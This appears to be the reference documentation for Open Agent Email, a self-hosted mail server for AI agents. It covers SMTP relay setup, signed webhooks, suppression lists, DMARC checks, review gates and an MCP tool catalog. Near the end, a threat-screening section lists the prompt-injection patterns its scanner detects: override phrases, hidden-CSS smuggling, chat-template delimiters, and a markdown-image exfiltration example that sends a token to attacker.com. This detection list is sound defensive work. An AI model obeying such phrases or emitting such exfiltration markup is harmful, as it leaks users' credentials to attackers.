Skip to content

Latest commit

 

History

History
301 lines (208 loc) · 53.2 KB

reference.md

File metadata and controls

301 lines (208 loc) · 53.2 KB

Reference

Detailed behaviour of Open Agent Email: configuration, webhooks, review gate, human handoff, MCP tool catalog, threat screening, triage and approval links. For a first run, start with quickstart.md; for the overview, see the README.

⚙️ Configuration & Features

1. Upstream SMTP Relay (/settings)

Set SMTP_CONFIG_ENCRYPTION_KEY before saving SMTP credentials. The server encrypts newly configured credentials at rest and upgrades existing plaintext credentials at startup when the key is available. Encrypted credentials require the key; startup fails if it is missing or incorrect. Back it up with the database. To rotate it, set the new key as SMTP_CONFIG_ENCRYPTION_KEY and the old key as SMTP_CONFIG_ENCRYPTION_KEY_PREVIOUS, restart so credentials are re-encrypted, then remove the previous key and restart again. The settings API only reports whether a password is configured. Without an encryption key, legacy plaintext credentials remain usable and a startup warning is logged.

Set PUBLIC_BASE_URL to the publicly reachable HTTPS origin where this server serves the unsubscribe page, for example PUBLIC_BASE_URL=https://mail.example.com (also supported in Docker Compose via .env). Only HTTPS on port 443 without credentials, query, or fragment is accepted; unset or invalid values safely omit unsubscribe headers and footer content. Configure a real public hostname that routes to this service; local, reserved, and loopback IP hosts are ignored. External outbound mail receives List-Unsubscribe and RFC 8058 one-click headers plus a visible unsubscribe link. No unsubscribe token is generated for local inbox loopback or while a message is waiting for review; a token is created when dispatch starts and its SHA-256 hash is committed before SMTP is attempted. The public page's GET is read-only so link scanners cannot unsubscribe recipients; a person must submit its confirmation form, or a mail client may send the exact RFC one-click POST. Successful opt-out creates the same inbox-scoped suppression used by the operator API, so queued mail is blocked at the final dispatch check. Tokens are opaque, scoped to one inbox and recipient, and only their hashes are stored.

2. Inbox Webhooks

Administrators can manage these endpoints and inspect or replay deliveries in the dashboard's Webhooks page, or use the REST API directly. Endpoints are scoped to one agent inbox and created with POST /v1/webhooks (agent_email, url, optional enabled); each inbox is limited to 50 endpoints. The response includes a generated signing_secret exactly once; store it securely. Rotate it with POST /v1/webhooks/{endpoint_id}/rotate-secret; the new secret is shown once, and deliveries include signatures from the new and previous secrets for a 24-hour overlap. Update the receiver during that window. A second rotation replaces the older overlap with the immediately previous secret. Webhook secrets use the same Fernet key and rotation settings as SMTP credentials, so configure SMTP_CONFIG_ENCRYPTION_KEY before creating endpoints. GET /v1/webhooks lists endpoint metadata without secrets and redacts URL query strings; PATCH /v1/webhooks/{endpoint_id} changes URL/enabled state and DELETE removes the endpoint and its delivery records. A request already in flight may finish after an endpoint is disabled.

Use the optional events array on create or PATCH to subscribe an endpoint to selected event types. Omitting it defaults to ['*'] (all events), which preserves behavior for existing endpoints; the dashboard supports selecting individual events. Subscription changes apply to newly queued events; they do not change pending or historical deliveries. Synthetic webhook.test events always go to the endpoint when requested, regardless of its event subscriptions.

Account-level endpoints. Omit agent_email on create to register an endpoint that receives events for every inbox (administrator key only), for example {"url": "https://example.com/hook", "events": ["email.failed"]}. Add inboxes (a list of inbox addresses) to limit it to those inboxes; PATCH can change or clear that list ("inboxes": null). Per-inbox endpoints keep working unchanged, and an inbox event goes to both its own endpoints and every matching account-level endpoint. Domain events (domain.*) go to account-level endpoints for any domain, except those whose inboxes list names only other domains. Responses carry account_level and inboxes; filter listings with ?account_level=true|false. An account can have 50 account-level endpoints, separate from the per-inbox limit. Event subscriptions are honored for inbound receipts too: an endpoint that does not list email.received no longer receives it.

Subscribed endpoints receive email.received for accepted inbound mail. Inbound mail held for review emits email.received only after approval releases it to the inbox. The immutable receipt payload contains message and inbox identifiers, sender, recipient, status, thread ID, and receive time. Subjects, message bodies, HTML, and attachments are never included. Messages held for human review emit email.review_requested when the pending review is created, followed by email.review_approved or email.review_rejected when it is resolved. For inbound approval, both email.review_approved and email.received are durably queued in the same transaction as the message/review state change. Their metadata-only payloads contain id (the stable delivery/event ID), message_id, agent_email, direction, review_id, resulting message status, and created_at; they exclude message content, attachment data, and scanner details. Approval results in delivered for inbound messages and sending for outbound messages; rejection results in rejected.

Inbound scanner findings emit email.flagged when a message has detected threat signals, and email.blocked when the scanner blocks it. A flagged message held for review can emit both email.flagged and email.review_requested; blocked messages with findings emit both email.flagged and email.blocked. These events are queued with the inbound message transaction and delivered only to enabled endpoints for that inbox. Their metadata-only payload contains id (stable event/delivery ID), message_id, agent_email, direction, resulting message status, message created_at, and bounded threat_category, threat_severity, and threat_score. Scanner summaries, matched content, message bodies, and attachment details are never included.

Outbound lifecycle webhooks are also available. email.accepted_by_relay means the configured upstream SMTP relay accepted the message; it does not mean the recipient's mailbox received it. email.failed is emitted only after the worker exhausts its automatic retries, and email.delivery_unknown means the worker lost certainty about relay acceptance (for example, after a worker lease expires during dispatch); automatic retry is stopped to avoid a duplicate send. These events are recorded transactionally with their outbound job/message status transitions and sent only to enabled endpoints for that inbox. Their payload contains only id (stable event/deduplication ID), message_id, agent_email, recipient, resulting status, and the message created_at.

For outbound mail, email.blocked means the recipient was on that inbox's suppression list when the worker checked immediately before dispatch; the message and outbox job become terminally blocked, and no local delivery or SMTP attempt is made. This is separate from the inbound scanner's email.blocked event described above.

Enabled endpoints subscribed to contact.due receive signed, metadata-only wake-ups for overdue contact engagements. A one-minute bounded sweep atomically records the due schedule it notified and queues delivery in the same transaction, so overlapping sweeps and retries do not create duplicate events. Updating the due time re-arms a notification; closed, replied, and suppressed contacts are excluded. The payload includes the event ID, inbox, engagement ID, contact ID, stage, and due timestamp. It never includes engagement notes or sends an email automatically.

Administrators can also queue a synthetic webhook.test event with POST /v1/webhooks/{endpoint_id}/test; it contains no real message ID or email content and is delivered through the same signed worker. Receivers should acknowledge or ignore that event type without treating it as an inbound message. X-Webhook-Event-Id is the stable event/deduplication identifier, X-Webhook-Timestamp is Unix seconds, and X-Webhook-Signature is sha256=<hex HMAC-SHA256>. The MAC input is the UTF-8 timestamp, a period, the event ID, a period, and the exact raw JSON request body. Verify the signature using a constant-time comparison and reject stale timestamps; deduplicate by event ID. Retries and manual replay reuse the same event ID and payload but receive a new signature timestamp.

Every delivery also carries the current signing headers. Webhook-Signature: t=<unix>,v1=<hex>[,v1=<hex>] signs the UTF-8 timestamp, a period and the exact raw body with HMAC-SHA256, with one v1 value per active secret (the current one, plus the previous one during a rotation overlap). Webhook-Event-Type repeats the event type and Webhook-Schema-Version is 1. Receivers may verify either scheme; the X-Webhook-* headers above are unchanged. The SDKs' constructEvent (TypeScript) and construct_event (Python) prefer Webhook-Signature and fall back to the legacy headers. A shared set of golden test vectors lives in fixtures/webhook_signatures.json.

Event envelope and reference

Every payload keeps its original top-level fields and adds type, schema_version ("1") and data, an object holding the event-specific fields without id and created_at. Payloads never contain message bodies or attachments. For outbound delivery and failure events, status appears only in the legacy top-level fields, not in data: use type to tell events apart.

Event When data fields
email.received Inbound mail delivered to the inbox (or released from review) message_id, agent_email, direction, sender, recipient, status, thread_id
email.flagged Inbound mail matched the screening engine message_id, agent_email, direction, status, threat_category, threat_severity, threat_score
email.blocked Inbound mail blocked by screening, or an outbound send blocked by a suppression as email.flagged (inbound) or message_id, agent_email, recipient (outbound)
email.review_requested, email.review_approved, email.review_rejected Review lifecycle message_id, agent_email, direction, review_id, status
email.sent The message left this system: accepted by the upstream relay, or delivered to a local inbox. Not a delivery confirmation message_id, agent_email, recipient
email.accepted_by_relay The upstream SMTP relay accepted the message message_id, agent_email, recipient
email.delivered, email.delivery_delayed, email.bounced, email.complained Provider feedback (SES over SNS) message_id, agent_email, recipient
email.failed, email.delivery_unknown Retries exhausted, or relay acceptance became uncertain message_id, agent_email, recipient
domain.suppression_added A permanent bounce or complaint added a recipient to the inbox suppression list address, source (bounce, complaint), reason, message_id
agent.suppression_added A recipient was suppressed: by an operator, an unsubscribe, a permanent bounce or a complaint agent_email, recipient, source (operator, unsubscribe, bounce, complaint), reason
domain.sending_verified POST /v1/domains/{domain}/verify moved the domain to verified agent_email, domain, status, records (per-record status)
domain.sending_failed A verified domain stopped verifying, or a record newly mismatched agent_email, domain, status, records
contact.due A follow-up became due agent_email, engagement_id, contact_id, stage, next_due_at
webhook.test You requested a test event event_type, test, message

Domains belong to the account while webhook endpoints belong to an inbox, so domain.* events are delivered to each enabled, subscribed endpoint whose inbox address is on that domain. They are sent only when a verify call changes the state, not on every call.

Endpoint URLs must use HTTPS on port 443 and cannot contain credentials or fragments. At each delivery the worker resolves DNS, rejects the entire answer set if any address is private, loopback, link-local, reserved, or otherwise non-global, then opens TLS directly to a validated IP while checking the certificate against the configured hostname. Redirects are not followed. Connect and total request timeouts are bounded, only response headers (up to 16 KiB) are read, and stored errors omit URL details, response bodies, and secrets. A failed delivery is attempted up to eight times in total, waiting 1 minute, 5 minutes, 15 minutes, 1 hour, 4 hours, 8 hours and 16 hours between attempts (about 29 hours end to end). Inspect bounded history with GET /v1/webhooks/deliveries?limit=100 (maximum 200), or use cursor pagination with GET /v1/webhooks/deliveries/page?limit=50; the page cursor stays bound to endpoint, status, event type, and inbox filters. Failed or previously delivered events can be manually replayed with POST /v1/webhooks/deliveries/{event_id}/replay. After 30 days by default, delivery payloads and retry details are erased while a compact ID tombstone remains; fetching or replaying an expired event returns HTTP 410. Configure WEBHOOK_DELIVERY_RETENTION_DAYS to change the retention period. Delivery is at-least-once: a timeout after the receiver processes a request can result in a retry, so receivers must deduplicate event IDs. These controls reduce SSRF exposure but do not replace outbound network egress policy at the deployment layer.

To let your agents send real emails to external people over the internet:

  1. Connect the dashboard with ADMIN_API_KEY.

  2. Choose a provider preset in Upstream SMTP. It fills in the host, port, and TLS mode; enter your provider-issued SMTP username and password/API token. For Amazon SES, use the SMTP endpoint for your AWS region.

  3. Save the relay, send a test email, and enable outbound delivery.

These are SMTP relay presets, not provider-specific API integrations. Gmail requires an App Password; use SMTP credentials generated by SES, Resend, SendGrid, or Postmark.

Optional SES delivery feedback is available through AWS SNS. Set SES_FEEDBACK_TOPIC_ARN to the exact SNS topic ARN and configure SES to publish delivery, delivery delay, bounce, complaint, and reject events to that topic, with original message headers included. Subscribe the public POST /webhooks/ses endpoint to the topic; signed SNS subscription confirmation is handled automatically. The endpoint rejects requests unless the SNS topic ARN, signature, certificate host/region, and timestamp are valid. Set SES_CONFIGURATION_SET to the name of the configuration set whose event destination publishes to that topic; outbound mail is then sent with X-SES-CONFIGURATION-SET so SES uses it. SES must echo the X-Open-Agent-Email-Message-ID header (added to outbound messages) for feedback to resolve to the exact originating inbox and message. Correlated outcomes appear on the message as provider_delivery_status (delivered, delayed, bounced, complained, or rejected) and can emit email.delivered, email.delivery_delayed, email.bounced, email.complained, or email.failed webhooks. A permanent bounce or complaint for that message's recipient creates an inbox-scoped suppression; transient bounces, rejects, and delivery events do not. Late delivery or delay notifications do not overwrite a previously recorded bounce, complaint, or rejection. SNS message IDs are persisted for retry deduplication. This opt-in integration currently supports SES feedback over SNS only; without the topic setting, the route is disabled and normal SMTP sending is unchanged.

Outbound message statuses distinguish local delivery from relay acceptance: delivered means the message reached another local agent inbox, accepted_by_relay means an external SMTP relay accepted it for processing, sending means it is queued or being dispatched, delivery_unknown means a worker lease expired during dispatch and SMTP acceptance cannot be determined, blocked means an inbox suppression prevented dispatch, and failed means dispatch exhausted its retries. Non-review sends and approved messages are recorded in a database-backed outbox before dispatch. The worker retries ordinary failures up to eight attempts with exponential backoff and exposes the latest error on the message. A stale processing job is marked uncertain and is never automatically resent because the SMTP relay may have accepted it before the worker stopped recording progress. Relay acceptance is not proof that a person received the email; later delivery feedback is available only when the SES/SNS integration above is configured.

Each inbox can maintain an explicit recipient suppression list. Read it with GET /v1/agents/{email}/suppressions; add an address with POST and { "email": "person@example.com", "reason": "optional note" }; remove an entry with DELETE /v1/agents/{email}/suppressions/{suppression_id}. Reads require inbox read access, and add/remove require full-access scope. Addresses are trimmed and lowercased for matching. A send to a suppressed address is rejected with HTTP 422 before a message is created. The worker checks again immediately before local or SMTP dispatch, so queued, retried, and review-approved messages that become suppressed are terminally marked blocked without contacting SMTP. Suppressions are scoped to one inbox; they are operator-managed controls, not an unsubscribe link or proof of consent, and contacts do not affect suppression state.

Administrators can inspect bounded outbox history and manually retry failed or uncertain jobs. Retrying an uncertain job requires confirm_duplicate_risk=true because the SMTP relay may already have accepted the original attempt. Each manual retry records the actor, timestamp, previous status, previous attempt count, and previous error; retrieve it from GET /v1/outbox/{job_id}/retries. Expired worker leases are moved to uncertain for operator review rather than automatically reclaimed. Suppression-blocked jobs are terminal and cannot be retried from the outbox.

REST send, reply, forward, contact creation/import, domain deletion, review approval, API-key creation, webhook creation, and webhook-secret rotation accept an optional Idempotency-Key header (1–128 characters); MCP send, reply, and forward tools accept an optional idempotency_key argument. Repeating a request with the same key and content replays the original result; using that key with different content returns HTTP 422, while a matching request still in progress returns HTTP 409. Keys are scoped to the authenticated principal and stored with a request digest.

REST send and reply requests can render a saved inbox template per message by supplying template_id and optional JSON template_data instead of direct subject/body_text/body_html content. For example, POST /v1/agents/{email}/messages accepts { "recipient": "person@example.com", "template_id": "tpl_…", "template_data": { "name": "Sam" } }; POST /v1/agents/{email}/messages/{message_id}/reply accepts the same template fields. The template must belong to that inbox. Rendering uses the same bounded data, variable syntax, output limits, missing-value behavior, HTML escaping, and subject line-break checks as template preview. A reply uses the template subject with a Re: prefix when needed while keeping the original thread headers. Template selection creates only that requested message; it does not start a campaign or contact list. The API rejects requests that mix a template with direct content. The Python SDK send_message and reply_message methods accept the same template_id and template_data options.

Agents can retrieve a recent verification code with GET /v1/agents/{email}/messages/otp?since_seconds=600&wait_seconds=5 or the get_recent_otp MCP tool. The endpoint searches up to 50 of the inbox's newest delivered inbound messages, and can poll for at most 10 seconds. It only extracts 4–8 digit codes near verification-related language, and returns the code plus minimal message metadata; it never returns the message body. A no-match response is { "found": false }. Inbox-scoped API keys can only query their own inbox.

REST and MCP send/reply calls accept attachments as {filename, content_type, content_base64} items. The defaults allow up to 10 files, 10 MiB per file, and 25 MiB total decoded content; the composed message ceiling is 10 MiB across subject, text, HTML, and decoded attachments. Configure OUTBOUND_MAX_ATTACHMENTS, OUTBOUND_MAX_ATTACHMENT_BYTES, OUTBOUND_MAX_TOTAL_ATTACHMENT_BYTES, and OUTBOUND_MAX_COMPOSED_BYTES. Attachment metadata includes a five-minute signed download_url; links use ATTACHMENT_URL_SIGNING_KEY when set, otherwise the encryption key or admin key. JSON base64 adds overhead and is subject to the 40 MiB default HTTP request-body limit.

Optional ClamAV attachment scanning is disabled by default. To enable the bundled private scanner with Docker Compose, set ATTACHMENT_SCAN_ENABLED=true in .env and start the stack with docker compose --profile attachment-scan up --build; the scanner daemon is exposed only on the Compose network. When enabled, inbound SMTP and all REST/MCP outbound attachment paths scan the decoded bytes before database writes. A malware detection is permanently rejected (SMTP 554; REST/MCP HTTP 422); a file over the configured scan-size limit is rejected as too large (SMTP 552; REST/MCP HTTP 413). Scanner outages and timeouts fail closed but temporarily (SMTP 451; REST/MCP HTTP 503) so clients can retry after recovery. This malware scan is separate from the built-in text and HTML prompt-injection screening. Keep ClamAV signatures current; scanning cannot guarantee detection of new or unknown malware. See the operations guide for settings and operational behavior.

2. Custom Domains & DNS (/domains)

  1. Add your agent domain (e.g., agents.yourdomain.com).
  2. Add the generated DNS records to your DNS registrar (Cloudflare, Route53, Namecheap):
    • MX: 10 mx.yourdomain.com pointing to your server IP.
    • TXT (SPF): v=spf1 include:_spf.openagent.dev ~all
    • TXT (DKIM): default._domainkey with RSA public key.
    • TXT (DMARC): _dmarc with p=quarantine or p=reject.
  3. DNS verification is not implemented yet, so the dashboard does not mark records verified automatically.

3. Human-in-the-Loop Review Gate (/reviews)

When an agent has hitl_enabled: true or when the Threat Scanner detects suspicious prompt injection payloads:

  • Inbound mail is quarantined before reaching the agent.
  • Outbound mail is held before dispatching to upstream SMTP.
  • Operators review reason, threat score, and diffs in the review queue and click Approve or Reject.

GET /v1/reviews optionally accepts status=pending, status=approved, or status=rejected; other values are rejected. The MCP list_reviews tool uses the same status set and defaults to pending.

4. Human Handoff (/inbox)

Open an inbound message to view the full conversation in chronological order, including attachments on each message. Use Hand off to a person to forward the original email and an optional note to a teammate. Replies from the teammate to the forwarded email return to the agent inbox and stay in the original thread. The agent's outbound approval policy applies. Outbound status accepted_by_relay means the configured SMTP relay accepted the message; it does not confirm delivery to the human recipient. A send is shown as failed when no relay is configured or the relay rejects it.

Inbox messages track is_read: new inbound mail starts unread, while outbound mail starts read. Opening an inbound message in the dashboard marks it read; use the inbox Read status filter to focus on unread messages. Unsent dashboard replies are saved in this browser per inbox thread and restored when you return; they are not synced to another device. API clients can filter paginated results with read_status=unread|read|all and mark inbound mail read with POST /v1/agents/{email}/messages/{message_id}/read (requires write scope). Keep read_status unchanged when following a page cursor.

The dashboard Contacts page and GET /v1/agents/{email}/contacts provide an address book scoped to one inbox. The list accepts limit from 1 to 500 (default 100). Create contacts with POST, update with PATCH /{contact_id}, and delete with DELETE /{contact_id} under that same path. Contact records contain a normalized email address, name, optional company and notes; email and name are bounded to 255 characters and notes to 4,000. A contact email must be unique within its inbox. Read-only inbox keys can list contacts and consent history; create, update, delete, CSV import, and consent changes require full-access scope. Contact records are inert: saving or importing one never sends email, starts outreach, or records consent.

Record explicit operator-entered consent changes at POST /v1/agents/{email}/contacts/{contact_id}/consent with action (granted or revoked), required source, and optional evidence and note (each at most 1,000 characters). Entries are append-only and scoped to the contact and inbox. GET on the same path returns the current recorded state (unknown, granted, or revoked) and up to 100 most recent entries. This is an audit record only: it does not verify evidence, establish legal consent, alter send policy, lift suppression, or trigger outreach. Imports do not create consent records.

Import UTF-8 CSV through POST /v1/agents/{email}/contacts/imports with Content-Type: text/csv. Required header: email; optional headers: name, company, and notes. Files are limited to 1 MB and 1,000 data rows. Existing addresses, repeated addresses in the file, invalid rows, and addresses on the inbox suppression list are skipped with a per-row reason. The result includes a batch_id; list recent batches with GET .../contacts/imports. Reverse a batch with DELETE .../contacts/imports/{batch_id}?confirm=DELETE. Reversal deletes untouched contacts created by that batch and retains contacts edited afterward. Batch reversal does not remove suppression entries and does not imply permission to contact any imported address.

Structured JSON imports use POST /v1/contacts/import with an explicit agent_email, up to 1,000 rows, and optional merge/skip behavior. Rows support bounded metadata, suppression, and engagement stage; every row receives an outcome and the request supports idempotent replay. See the import contract.

The dashboard Follow-ups page and /v1/agents/{email}/engagements track a stage (new, contacted, waiting, or closed), optional next due time, and notes for one contact in one inbox. Create with POST using contact_id, stage, next_due_at (RFC 3339), and notes; update with PATCH /{engagement_id}; list with GET; remove with DELETE /{engagement_id}. Add ?due=true to list only overdue records that are not closed, replied, or suppressed. Scheduling a suppressed recipient returns HTTP 422, and suppression is checked again when determining due records. A DMARC-authenticated inbound message from the contact sets the server-derived replied flag and clears its due time; API clients cannot set or clear that fact. Due times never trigger automatic email, campaigns, or other outreach.

An enabled webhook endpoint subscribed to contact.due receives a metadata-only wake-up when an engagement becomes overdue. A bounded background sweep runs once per minute and claims each due schedule atomically before queueing deliveries; retries and overlapping sweeps cannot create another wake-up for that same schedule. Changing the due time re-arms notification. Closed, replied, and suppressed contacts are excluded. The payload contains the event ID, inbox, engagement and contact IDs, stage, and scheduled time; it does not include notes or send any email.

Reusable email templates are available in the dashboard's Templates page and through /v1/agents/{email}/templates. List with GET, create with POST, fetch by ID, update with PATCH, and delete with DELETE. A template has a unique name and optional unique alias within its inbox, a subject, and at least one plain-text or HTML body. Content fields are bounded to 100,000 characters (subject to 512); {{name}} and nested {{person.name}} placeholders are supported. In HTML, standard double braces escape substituted values; triple braces such as {{{trusted_fragment}}} insert raw content and must only be used with trusted or pre-escaped values. Templates can be selected by ID or alias when sending a message or reply. The read-only POST /v1/agents/{email}/templates/preview accepts subject/body sources and JSON data; POST /{template_id}/preview renders a saved template with JSON data. Both return rendered subject, text, HTML, and referenced variable names without saving or sending anything. Missing values render as empty strings. Preview and send-time data are limited to 16 KB and bounded in depth and item count. Read-only keys can list, fetch, and preview; create, update, and delete require full-access scope. In inbox compose and reply, choose a saved template for the selected inbox, enter JSON data, and preview the rendered subject and body before sending; clearing the selection returns to direct editing and preserves the editor's text. The first-party Python SDK exposes template CRUD, preview, and per-message template sending. Templates cannot send by themselves, create audiences, or start campaigns.

The dashboard reply and compose editors support saved response snippets. Save the current text with a name, then insert or delete snippets from the editor. Snippets are stored in this browser's local storage per inbox; they are not uploaded, shared across browsers, or available through the API. Inserting replaces the editor's current text. Snippets provide plain-text reuse only; compose recipient and subject, and reply thread headers, continue to come from the normal send flow.

Inbound SMTP evaluates SPF against the connecting peer IP and SMTP envelope sender, verifies up to five DKIM signatures from the original message bytes, and evaluates DMARC against the single RFC 5322 From domain. The message stores bounded authentication evidence with evaluation time, peer/envelope identities, From header, passing DKIM domains, and each result. Each DKIM result includes its selector, alignment, status, and diagnostic detail; DMARC evidence includes the visible domain, effective policy, and the SPF/DKIM mechanisms that aligned. Identical SMTP retries are deduplicated per inbox using a digest of the raw message and envelope sender. DMARC discovery follows the RFC 9989 DNS tree walk, and SPF/DKIM identifiers are checked using the published strict or relaxed alignment mode. DNS lookups are bounded; SPF results include softfail, permerror, and temperror, and DMARC reports temperror when DNS makes the result inconclusive. On an exact DMARC failure, an effective p=reject (including inherited sp=reject for a subdomain) receives SMTP 550 without inbox persistence; an effective p=quarantine creates a pending review. p=none, temporary errors, missing policy, and unverified results follow the ordinary inbound workflow. Policy enforcement uses the evaluated p and inherited sp values; it does not claim np or pct sampling behavior.

Inbound MIME attachments are stored with their message and appear in the inbox with authenticated download links. Human handoff forwards those files along with the original message. The SMTP receiver defaults to a 20 MiB raw-message limit, 10 MiB per attachment, and 10 attachments per message; set SMTP_MAX_MESSAGE_BYTES, SMTP_MAX_ATTACHMENT_BYTES, and SMTP_MAX_ATTACHMENTS to adjust these bounds. EHLO advertises the configured SIZE limit and 8BITMIME; MAIL/RCPT parsing accepts ESMTP path parameters while validating the actual inbox address. Configure SMTP_TLS_CERT_FILE and SMTP_TLS_KEY_FILE to advertise STARTTLS; set SMTP_REQUIRE_STARTTLS=true to refuse mail transfer unless TLS is active. Idle SMTP reads time out after 60 seconds, message input has a 5-minute limit, and at most 100 SMTP sessions run concurrently; configure these with SMTP_READ_TIMEOUT_SECONDS, SMTP_DATA_TIMEOUT_SECONDS, SMTP_MAX_CONNECTIONS, and SMTP_LINE_LIMIT_BYTES.

/health reports process liveness. /ready returns HTTP 200 only when the database, inbound SMTP listener, outbound worker, and webhook worker are available; it also reports pending outbox and webhook counts. Use /ready for deployment readiness checks.

Administrators can inspect recent outbox jobs at GET /v1/outbox (filter with status including uncertain or blocked, and bound limit to 200). For older jobs, use cursor pagination with GET /v1/outbox/page?limit=50; the optional status filter accepts pending, processing, complete, failed, uncertain, or blocked. Keep the filter unchanged when following next_cursor. Retry a failed job with POST /v1/outbox/{job_id}/retry; retry an uncertain job with POST /v1/outbox/{job_id}/retry?confirm_duplicate_risk=true. Retry history records the administrator identity, time, prior state, attempt count, and error.

REST, MCP, and public unsubscribe requests are limited to 120 per socket peer IP per rolling minute by default. Configure API_RATE_LIMIT_REQUESTS, API_RATE_LIMIT_WINDOW_SECONDS, and API_RATE_LIMIT_MAX_CLIENTS for the single-process in-memory limiter. It uses the direct socket peer address and does not trust X-Forwarded-For; deployments behind a proxy should enforce client-aware limits at that proxy as well.

REST inbox listings are capped at 500 messages and review lists at 200; MCP message and review tools accept bounded limits up to 100. For larger inboxes, GET /v1/agents/{email}/messages/page provides stable cursor pagination (1–100 items per page), optional direction, read-status, and delivery-status filters, and case-insensitive sender/subject search using q. Delivery status accepts delivered, accepted_by_relay, sending, delivery_unknown, pending_review, rejected, blocked, or failed. Follow the returned next_cursor with the same filters until it is null; the original list endpoint remains available for compatibility.

The HTTP server binds to 127.0.0.1:8000 by default; Docker Compose sets HOST=0.0.0.0 inside the container so the published port and dashboard can reach it. The SMTP listener also defaults to loopback locally; Compose sets SMTP_HOST=0.0.0.0 and publishes port 2525. Configure HOST, PORT, SMTP_HOST, and SMTP_PORT for other deployments. Uvicorn caps concurrent connections/tasks at 200 and closes idle keepalive connections after 5 seconds by default; set HTTP_MAX_CONCURRENCY and HTTP_KEEPALIVE_TIMEOUT_SECONDS to adjust those bounds. HTTP request bodies are capped at 40 MiB by default to allow base64-encoded attachment sets; configure HTTP_MAX_REQUEST_BYTES. Requests over the concurrency cap receive HTTP 503 and oversized bodies receive HTTP 413.

SQLite is the default for a single-process self-hosted setup. PostgreSQL can be selected with an async SQLAlchemy URL such as postgresql+asyncpg://user:password@db-host:5432/open_agent_email; asyncpg is included in the server requirements. Schema changes use Alembic migrations in server/migrations and are applied on startup.


Server settings

The dashboard's Settings > Server tab, GET/PUT /v1/settings and the MCP tools get_server_settings, update_server_settings and get_server_readiness (administrator only) let you change the settings that are safe to change while the server runs. A value saved this way is stored in the database and takes priority over the environment, which takes priority over the built-in default. Saved values are applied immediately and again at every start.

Setting What it controls
PUBLIC_BASE_URL Public https address used for unsubscribe and review links. Must be a public https origin on port 443, with no credentials, query or fragment. Empty leaves the links out.
SHARED_DOMAIN, MAIL_HOSTNAME, SPF_INCLUDE Default domain, the host published as the MX target, and the SPF include for your relay. Hostnames only.
SES_FEEDBACK_TOPIC_ARN, SES_CONFIGURATION_SET Amazon SES feedback topic (an SNS ARN) and configuration set. Empty turns them off.
TRASH_RETENTION_DAYS, WEBHOOK_DELIVERY_RETENTION_DAYS Retention windows (0 to 3650 and 1 to 3650 days).
OUTBOUND_MAX_ATTACHMENTS, OUTBOUND_MAX_ATTACHMENT_BYTES, OUTBOUND_MAX_TOTAL_ATTACHMENT_BYTES, OUTBOUND_MAX_COMPOSED_BYTES Outgoing attachment and message size limits. A single attachment may not exceed the total.

PUT /v1/settings takes {"values": {"KEY": value}}. A null value removes the saved value so the environment or default applies again. Every value is validated, and one invalid value rejects the whole request. Each setting in the response reports its value, source (ui, env or default), type and limits.

Some settings are shown but cannot be changed here: ports and bind addresses, the database URL (password hidden), the request rate limit, the request size cap and allowed origins are read when the server starts, so change them in the environment and restart. Secrets (ADMIN_API_KEY, SMTP_CONFIG_ENCRYPTION_KEY, METRICS_TOKEN, ATTACHMENT_URL_SIGNING_KEY) are never returned; the API only reports whether each is configured.

GET /v1/settings/readiness returns a setup checklist: administrator key, encryption key, mail listener, outgoing mail provider, public URL, a verified domain and SES feedback. Each check is marked required, recommended or optional, and a failing one says how to fix it and where. The dashboard shows it at the top of the Server tab. Each save records who made it and when (updated_by, updated_at); changes are not written to the webhook event log.

MCP tool catalog

Tool Description
list_agents Lists all configured agent inboxes and their operational status.
list_messages Fetches inbound and outbound messages with status and threat scores.
get_message Retrieves full RFC headers, body text, HTML, and security verification verdicts.
get_recent_otp Finds a recent contextual verification code from delivered inbound mail in the specified inbox.
send_message Dispatches outbound email from the agent address (relays via upstream SMTP).
send_email Compatibility name for send_message.
reply_to_message Replies in-thread preserving In-Reply-To and References.
forward_message Forwards a message with optional replacement body and extra attachments. Outbound approval rules still apply.
forward_to_human Forwards the original message and optional context to a human teammate. Outbound approval rules still apply.
list_reviews Lists emails held in the Human-in-the-Loop approval queue.
list_pending_messages Lists messages currently held in the review queue.
approve_review Approves a held email and triggers delivery.
reject_review Rejects and quarantines an email.
get_review, get_pending_message Fetch a review or its pending message details.
approve_pending_message, reject_pending_message Resolve a pending review using the message ID.
approve_message, reject_message Compatibility names for review approval and rejection.

96 tools in total (GET /mcp/tools returns every schema). Beyond the table above, grouped by the credential each needs:

  • Any credential: whoami.
  • Inbox read scope (read_only or full_access key for that inbox, or admin): list_conversations, get_conversation, get_message_lifecycle, get_agent_metrics, get_protection, get_attachment (metadata), get_attachment_data (base64, 5 MB cap), list_templates, get_template, preview_template, list_contacts, get_contact, get_contact_consent, list_outreach_contacts, get_outreach_contact, list_suppressions, list_agent_suppressions.
  • Inbox write scope (full_access key for that inbox, or admin): update_message_labels, delete_message, restore_message, create_template, update_template, delete_template, create_contact, update_contact, delete_contact, import_contacts (CSV text), delete_contact_import, record_contact_consent, set_outreach_contact, delete_outreach_contact, create_agent_suppression, delete_agent_suppression, delete_suppression. send_message, send_email, reply_to_message, forward_message and forward_to_human use the same inbox write scope.
  • Administrator only: create_agent, get_agent, update_agent, delete_agent, update_protection, list_webhooks, get_webhook, create_webhook, update_webhook, delete_webhook, rotate_webhook_secret, test_webhook, list_webhook_deliveries, list_events, get_event, redeliver_event, list_api_keys, create_api_key, delete_api_key, list_domains, get_domain, register_domain, verify_domain, delete_domain, get_account_metrics, list_outbox, retry_outbox_job, get_server_settings, update_server_settings, get_server_readiness.
  • Reviewer keys can call only list_reviews, list_pending_messages, get_review, get_pending_message, the review approval/rejection tools (approve_review, reject_review, approve_pending_message, reject_pending_message, approve_message, reject_message) and whoami.

Webhook signing secrets and newly created API keys are returned once, in the response that creates or rotates them; reads never include them. Each tool runs the same code as its REST route, so validation, idempotency, suppression checks and approval rules are identical.


🔒 Threat Screening Engine

The built-in scanner guards agent inboxes against:

  • Direct Instruction Overrides: Ignore previous instructions, Disregard system prompts, System Override.
  • CSS / Font Smuggling: display:none, font-size:0px, visibility:hidden, zero-width Unicode tags.
  • ChatML & Prompt Delimiters: <|im_start|>, [INST], ### System:, <|endoftext|>.
  • Exfiltration Attacks: Markdown image credential leaks (![img](https://attacker.com/log?token=...)).
  • Base64 Payload Obfuscation: Automatic decoding and heuristic recursion.

These checks inspect message text and HTML; they do not inspect attachment bytes. Optional ClamAV scanning is configured separately as described above.


🧭 Triage, scheduling and conversations

  • Labels – PATCH /v1/agents/{email}/messages/{id} with {"labels": ["needs-human"]}; filter with ?label=.
